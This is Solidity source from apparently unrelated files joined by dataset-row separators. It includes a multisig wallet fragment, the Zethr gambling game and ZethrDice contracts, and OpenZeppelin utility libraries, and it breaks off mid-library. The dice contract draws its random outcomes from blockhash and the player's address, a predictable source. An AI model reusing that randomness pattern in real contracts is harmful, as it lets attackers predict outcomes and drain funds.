transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txToExecute = transactions[transactionId];
txToExecute.executed = true;
if (txToExecute.destination.call.value(txToExecute.value)(txToExecute.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txToExecute.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*=================================
= OPERATOR FUNCTIONS =
=================================*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed || executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed || executed && transactions[i].executed) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
function tokenFallback(address /*_from*/, uint /*_amountOfTokens*/, bytes /*_data*/)
public
returns (bool)
{
return true;
}
}
// File: contracts/Bankroll/Interfaces/ZethrTokenBankrollInterface.sol
// Zethr token bankroll function prototypes
contract ZethrTokenBankrollInterface is ERC223Receiving {
uint public jackpotBalance;
function getMaxProfit(address) public view returns (uint);
function gameTokenResolution(uint _toWinnerAmount, address _winnerAddress, uint _toJackpotAmount, address _jackpotAddress, uint _originalBetSize) external;
function payJackpotToWinner(address _winnerAddress, uint payoutDivisor) public;
}
// File: contracts/Bankroll/Interfaces/ZethrBankrollControllerInterface.sol
contract ZethrBankrollControllerInterface is ERC223Receiving {
address public jackpotAddress;
ZethrTokenBankrollInterface[7] public tokenBankrolls;
ZethrMultiSigWallet public multiSigWallet;
mapping(address => bool) public validGameAddresses;
function gamePayoutResolver(address _resolver, uint _tokenAmount) public;
function isTokenBankroll(address _address) public view returns (bool);
function getTokenBankrollAddressFromTier(uint8 _tier) public view returns (address);
function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool);
}
// File: contracts/Bankroll/ZethrGame.sol
/* Zethr Game Interface
*
* Contains the necessary functions to integrate with
* the Zethr Token bankrolls & the Zethr game ecosystem.
*
* Token Bankroll Functions:
* - execute
*
* Player Functions:
* - finish
*
* Bankroll Controller / Owner Functions:
* - pauseGame
* - resumeGame
* - set resolver percentage
* - set controller address
*
* Player/Token Bankroll Functions:
* - resolvePendingBets
*/
contract ZethrGame {
using SafeMath for uint;
using SafeMath for uint56;
// Default events:
event Result (address player, uint amountWagered, int amountOffset);
event Wager (address player, uint amount, bytes data);
// Queue of pending/unresolved bets
address[] pendingBetsQueue;
uint queueHead = 0;
uint queueTail = 0;
// Store each player's latest bet via mapping
mapping(address => BetBase) bets;
// Bet structures must start with this layout
struct BetBase {
// Must contain these in this order
uint56 tokenValue; // Multiply by 1e14 to get tokens
uint48 blockNumber;
uint8 tier;
// Game specific structures can add more after this
}
// Mapping of addresses to their *position* in the queue
// Zero = they aren't in the queue
mapping(address => uint) pendingBetsMapping;
// Holds the bankroll controller info
ZethrBankrollControllerInterface controller;
// Is the game paused?
bool paused;
// Minimum bet should always be >= 1
uint minBet = 1e18;
// Percentage that a resolver gets when he resolves bets for the house
uint resolverPercentage;
// Every game has a name
string gameName;
constructor (address _controllerAddress, uint _resolverPercentage, string _name) public {
controller = ZethrBankrollControllerInterface(_controllerAddress);
resolverPercentage = _resolverPercentage;
gameName = _name;
}
/** @dev Gets the max profit of this game as decided by the token bankroll
* @return uint The maximum profit
*/
function getMaxProfit()
public view
returns (uint)
{
return ZethrTokenBankrollInterface(msg.sender).getMaxProfit(address(this));
}
/** @dev Pauses the game, preventing anyone from placing bets
*/
function ownerPauseGame()
public
ownerOnly
{
paused = true;
}
/** @dev Resumes the game, allowing bets
*/
function ownerResumeGame()
public
ownerOnly
{
paused = false;
}
/** @dev Sets the percentage of the bets that a resolver gets when resolving tokens.
* @param _percentage The percentage as x/1,000,000 that the resolver gets
*/
function ownerSetResolverPercentage(uint _percentage)
public
ownerOnly
{
require(_percentage <= 1000000);
resolverPercentage = _percentage;
}
/** @dev Sets the address of the game controller
* @param _controllerAddress The new address of the controller
*/
function ownerSetControllerAddress(address _controllerAddress)
public
ownerOnly
{
controller = ZethrBankrollControllerInterface(_controllerAddress);
}
// Every game should have a name
/** @dev Sets the name of the game
* @param _name The name of the game
*/
function ownerSetGameName(string _name)
ownerOnly
public
{
gameName = _name;
}
/** @dev Gets the game name
* @return The name of the game
*/
function getGameName()
public view
returns (string)
{
return gameName;
}
/** @dev Resolve expired bets in the queue. Gives a percentage of the house edge to the resolver as ZTH
* @param _numToResolve The number of bets to resolve.
* @return tokensEarned The number of tokens earned
* @return queueHead The new head of the queue
*/
function resolveExpiredBets(uint _numToResolve)
public
returns (uint tokensEarned_, uint queueHead_)
{
uint mQueue = queueHead;
uint head;
uint tail = (mQueue + _numToResolve) > pendingBetsQueue.length ? pendingBetsQueue.length : (mQueue + _numToResolve);
uint tokensEarned = 0;
for (head = mQueue; head < tail; head++) {
// Check the head of the queue to see if there is a resolvable bet
// This means the bet at the queue head is older than 255 blocks AND is not 0
// (However, if the address at the head is null, skip it, it's already been resolved)
if (pendingBetsQueue[head] == address(0x0)) {
continue;
}
if (bets[pendingBetsQueue[head]].blockNumber != 0 && block.number > 256 + bets[pendingBetsQueue[head]].blockNumber) {
// Resolve the bet
// finishBetfrom returns the *player* profit
// this will be negative if the player lost and the house won
// so flip it to get the house profit, if any
int sum = - finishBetFrom(pendingBetsQueue[head]);
// Tokens earned is a percentage of the loss
if (sum > 0) {
tokensEarned += (uint(sum).mul(resolverPercentage)).div(1000000);
}
// Queue-tail is always the "next" open spot, so queue head and tail will never overlap
} else {
// If we can't resolve a bet, stop going down the queue
break;
}
}
queueHead = head;
// Send the earned tokens to the resolver
if (tokensEarned >= 1e14) {
controller.gamePayoutResolver(msg.sender, tokensEarned);
}
return (tokensEarned, head);
}
/** @dev Finishes the bet of the sender, if it exists.
* @return int The total profit (positive or negative) earned by the sender
*/
function finishBet()
public
hasNotBetThisBlock(msg.sender)
returns (int)
{
return finishBetFrom(msg.sender);
}
/** @dev Resturns a random number
* @param _blockn The block number to base the random number off of
* @param _entropy Data to use in the random generation
* @param _index Data to use in the random generation
* @return randomNumber The random number to return
*/
function maxRandom(uint _blockn, address _entropy, uint _index)
private view
returns (uint256 randomNumber)
{
return uint256(keccak256(
abi.encodePacked(
blockhash(_blockn),
_entropy,
_index
)));
}
/** @dev Returns a random number
* @param _upper The upper end of the range, exclusive
* @param _blockn The block number to use for the random number
* @param _entropy An address to be used for entropy
* @param _index A number to get the next random number
* @return randomNumber The random number
*/
function random(uint256 _upper, uint256 _blockn, address _entropy, uint _index)
internal view
returns (uint256 randomNumber)
{
return maxRandom(_blockn, _entropy, _index) % _upper;
}
// Prevents the user from placing two bets in one block
modifier hasNotBetThisBlock(address _sender)
{
require(bets[_sender].blockNumber != block.number);
_;
}
// Requires that msg.sender is one of the token bankrolls
modifier bankrollOnly {
require(controller.isTokenBankroll(msg.sender));
_;
}
// Requires that the game is not paused
modifier isNotPaused {
require(!paused);
_;
}
// Requires that the bet given has max profit low enough
modifier betIsValid(uint _betSize, uint _tier, bytes _data) {
uint divRate = ZethrTierLibrary.getDivRate(_tier);
require(isBetValid(_betSize, divRate, _data));
_;
}
// Only an owner can call this method (controller is always an owner)
modifier ownerOnly()
{
require(msg.sender == address(controller) || controller.multiSigWallet().isOwner(msg.sender));
_;
}
/** @dev Places a bet. Callable only by token bankrolls
* @param _player The player that is placing the bet
* @param _tokenCount The total number of tokens bet
* @param _divRate The dividend rate of the player
* @param _data The game-specific data, encoded in bytes-form
*/
function execute(address _player, uint _tokenCount, uint _divRate, bytes _data) public;
/** @dev Resolves the bet of the supplied player.
* @param _playerAddress The address of the player whos bet we are resolving
* @return int The total profit the player earned, positive or negative
*/
function finishBetFrom(address _playerAddress) internal returns (int);
/** @dev Determines if a supplied bet is valid
* @param _tokenCount The total number of tokens bet
* @param _divRate The dividend rate of the bet
* @param _data The game-specific bet data
* @return bool Whether or not the bet is valid
*/
function isBetValid(uint _tokenCount, uint _divRate, bytes _data) public view returns (bool);
}
// File: contracts/Games/ZethrDice.sol
/* The actual game contract.
*
* This contract contains the actual game logic,
* including placing bets (execute), resolving bets,
* and resolving expired bets.
*/
contract ZethrDice is ZethrGame {
/****************************
* GAME SPECIFIC
****************************/
// Slots-specific bet structure
struct Bet {
// Must contain these in this order
uint56 tokenValue;
uint48 blockNumber;
uint8 tier;
// Game specific
uint8 rollUnder;
uint8 numRolls;
}
/****************************
* FIELDS
****************************/
uint constant private MAX_INT = 2 ** 256 - 1;
uint constant public maxProfitDivisor = 1000000;
uint constant public maxNumber = 100;
uint constant public minNumber = 2;
uint constant public houseEdgeDivisor = 1000;
uint constant public houseEdge = 990;
uint constant public minBet = 1e18;
/****************************
* CONSTRUCTOR
****************************/
constructor (address _controllerAddress, uint _resolverPercentage, string _name)
ZethrGame(_controllerAddress, _resolverPercentage, _name)
public
{
}
/****************************
* USER METHODS
****************************/
/** @dev Retrieve the results of the last roll of a player, for web3 calls.
* @param _playerAddress The address of the player
*/
function getLastRollOutput(address _playerAddress)
public view
returns (uint winAmount, uint lossAmount, uint[] memory output)
{
// Cast to Bet and read from storage
Bet storage playerBetInStorage = getBet(_playerAddress);
Bet memory playerBet = playerBetInStorage;
// Safety check
require(playerBet.blockNumber != 0);
(winAmount, lossAmount, output) = getRollOutput(playerBet.blockNumber, playerBet.rollUnder, playerBet.numRolls, playerBet.tokenValue.mul(1e14), _playerAddress);
return (winAmount, lossAmount, output);
}
event RollResult(
uint _blockNumber,
address _target,
uint _rollUnder,
uint _numRolls,
uint _tokenValue,
uint _winAmount,
uint _lossAmount,
uint[] _output
);
/** @dev Retrieve the results of the spin, for web3 calls.
* @param _blockNumber The block number of the spin
* @param _numRolls The number of rolls of this bet
* @param _tokenValue The total number of tokens bet
* @param _target The address of the better
* @return winAmount The total number of tokens won
* @return lossAmount The total number of tokens lost
* @return output An array of all of the results of a multispin
*/
function getRollOutput(uint _blockNumber, uint8 _rollUnder, uint8 _numRolls, uint _tokenValue, address _target)
public
returns (uint winAmount, uint lossAmount, uint[] memory output)
{
output = new uint[](_numRolls);
// Where the result sections start and stop
// If current block for the first spin is older than 255 blocks, ALL rolls are losses
if (block.number - _blockNumber > 255) {
lossAmount = _tokenValue.mul(_numRolls);
} else {
uint profit = calculateProfit(_tokenValue, _rollUnder);
for (uint i = 0; i < _numRolls; i++) {
// Store the output
output[i] = random(100, _blockNumber, _target, i) + 1;
if (output[i] < _rollUnder) {
// Player has won!
winAmount += profit + _tokenValue;
} else {
lossAmount += _tokenValue;
}
}
}
emit RollResult(_blockNumber, _target, _rollUnder, _numRolls, _tokenValue, winAmount, lossAmount, output);
return (winAmount, lossAmount, output);
}
/** @dev Retrieve the results of the roll, for contract calls.
* @param _blockNumber The block number of the roll
* @param _numRolls The number of rolls of this bet
* @param _rollUnder The number the roll has to be under to win
* @param _tokenValue The total number of tokens bet
* @param _target The address of the better
* @return winAmount The total number of tokens won
* @return lossAmount The total number of tokens lost
*/
function getRollResults(uint _blockNumber, uint8 _rollUnder, uint8 _numRolls, uint _tokenValue, address _target)
public
returns (uint winAmount, uint lossAmount)
{
// If current block for the first spin is older than 255 blocks, ALL rolls are losses
if (block.number - _blockNumber > 255) {
lossAmount = _tokenValue.mul(_numRolls);
} else {
uint profit = calculateProfit(_tokenValue, _rollUnder);
for (uint i = 0; i < _numRolls; i++) {
// Store the output
uint output = random(100, _blockNumber, _target, i) + 1;
if (output < _rollUnder) {
winAmount += profit + _tokenValue;
} else {
lossAmount += _tokenValue;
}
}
}
return (winAmount, lossAmount);
}
/****************************
* OWNER METHODS
****************************/
/****************************
* INTERNALS
****************************/
// Calculate the maximum potential profit
function calculateProfit(uint _initBet, uint _roll)
internal view
returns (uint)
{
return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet;
}
/** @dev Returs the bet struct of a player
* @param _playerAddress The address of the player
* @return Bet The bet of the player
*/
function getBet(address _playerAddress)
internal view
returns (Bet storage)
{
// Cast BetBase to Bet
BetBase storage betBase = bets[_playerAddress];
Bet storage playerBet;
assembly {
// tmp is pushed onto stack and points to betBase slot in storage
let tmp := betBase_slot
// swap1 swaps tmp and playerBet pointers
swap1
}
// tmp is popped off the stack
// playerBet now points to betBase
return playerBet;
}
/****************************
* OVERRIDDEN METHODS
****************************/
/** @dev Resolves the bet of the supplied player.
* @param _playerAddress The address of the player whos bet we are resolving
* @return totalProfit The total profit the player earned, positive or negative
*/
function finishBetFrom(address _playerAddress)
internal
returns (int /*totalProfit*/)
{
// Memory vars to hold data as we compute it
uint winAmount;
uint lossAmount;
// Cast to Bet and read from storage
Bet storage playerBetInStorage = getBet(_playerAddress);
Bet memory playerBet = playerBetInStorage;
// Safety check
require(playerBet.blockNumber != 0);
playerBetInStorage.blockNumber = 0;
// Iterate over the number of rolls and calculate totals:
// - player win amount
// - bankroll win amount
(winAmount, lossAmount) = getRollResults(playerBet.blockNumber, playerBet.rollUnder, playerBet.numRolls, playerBet.tokenValue.mul(1e14), _playerAddress);
// Figure out the token bankroll address
address tokenBankrollAddress = controller.getTokenBankrollAddressFromTier(playerBet.tier);
ZethrTokenBankrollInterface bankroll = ZethrTokenBankrollInterface(tokenBankrollAddress);
// Call into the bankroll to do some token accounting
bankroll.gameTokenResolution(winAmount, _playerAddress, 0, address(0x0), playerBet.tokenValue.mul(1e14).mul(playerBet.numRolls));
// Grab the position of the player in the pending bets queue
uint index = pendingBetsMapping[_playerAddress];
// Remove the player from the pending bets queue by setting the address to 0x0
pendingBetsQueue[index] = address(0x0);
// Delete the player's bet by setting the mapping to zero
pendingBetsMapping[_playerAddress] = 0;
emit Result(_playerAddress, playerBet.tokenValue.mul(1e14), int(winAmount) - int(lossAmount));
// Return all bet results + total *player* profit
return (int(winAmount) - int(lossAmount));
}
/** @dev Places a bet. Callable only by token bankrolls
* @param _player The player that is placing the bet
* @param _tokenCount The total number of tokens bet
* @param _tier The div rate tier the player falls in
* @param _data The game-specific data, encoded in bytes-form
*/
function execute(address _player, uint _tokenCount, uint _tier, bytes _data)
isNotPaused
bankrollOnly
betIsValid(_tokenCount, _tier, _data)
hasNotBetThisBlock(_player)
public
{
Bet storage playerBet = getBet(_player);
// Check for a player bet and resolve if necessary
if (playerBet.blockNumber != 0) {
finishBetFrom(_player);
}
uint8 rolls = uint8(_data[0]);
uint8 rollUnder = uint8(_data[1]);
// Set bet information
playerBet.tokenValue = uint56(_tokenCount.div(rolls).div(1e14));
playerBet.blockNumber = uint48(block.number);
playerBet.tier = uint8(_tier);
playerBet.rollUnder = rollUnder;
playerBet.numRolls = rolls;
// Add player to the pending bets queue
pendingBetsQueue.length ++;
pendingBetsQueue[queueTail] = _player;
queueTail++;
// Add the player's position in the queue to the pending bets mapping
pendingBetsMapping[_player] = queueTail - 1;
// Emit event
emit Wager(_player, _tokenCount, _data);
}
/** @dev Determines if a supplied bet is valid
* @param _tokenCount The total number of tokens bet
* @param _data The game-specific bet data
* @return bool Whether or not the bet is valid
*/
function isBetValid(uint _tokenCount, uint /*_divRate*/, bytes _data)
public view
returns (bool)
{
uint8 rollUnder = uint8(_data[1]);
return (calculateProfit(_tokenCount, rollUnder) < getMaxProfit()
&& _tokenCount >= minBet
&& rollUnder >= minNumber
&& rollUnder <= maxNumber);
}
}
|
Minimum bet should always be >= 1
|
uint minBet = 1e18;
| 404,834
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// SPDX-License-Identifier: MIT
// File: contracts/INftStaker.sol
pragma solidity ^0.8.4;
/// @dev Interface allowing calling of stake and unstake on staking contract.
interface INftStaker {
function stake(uint256 _tokenId, address _tokenOwner) external;
function unstake(uint256 _tokenId, address _tokenOwner) external;
}
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/security/Pausable.sol
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
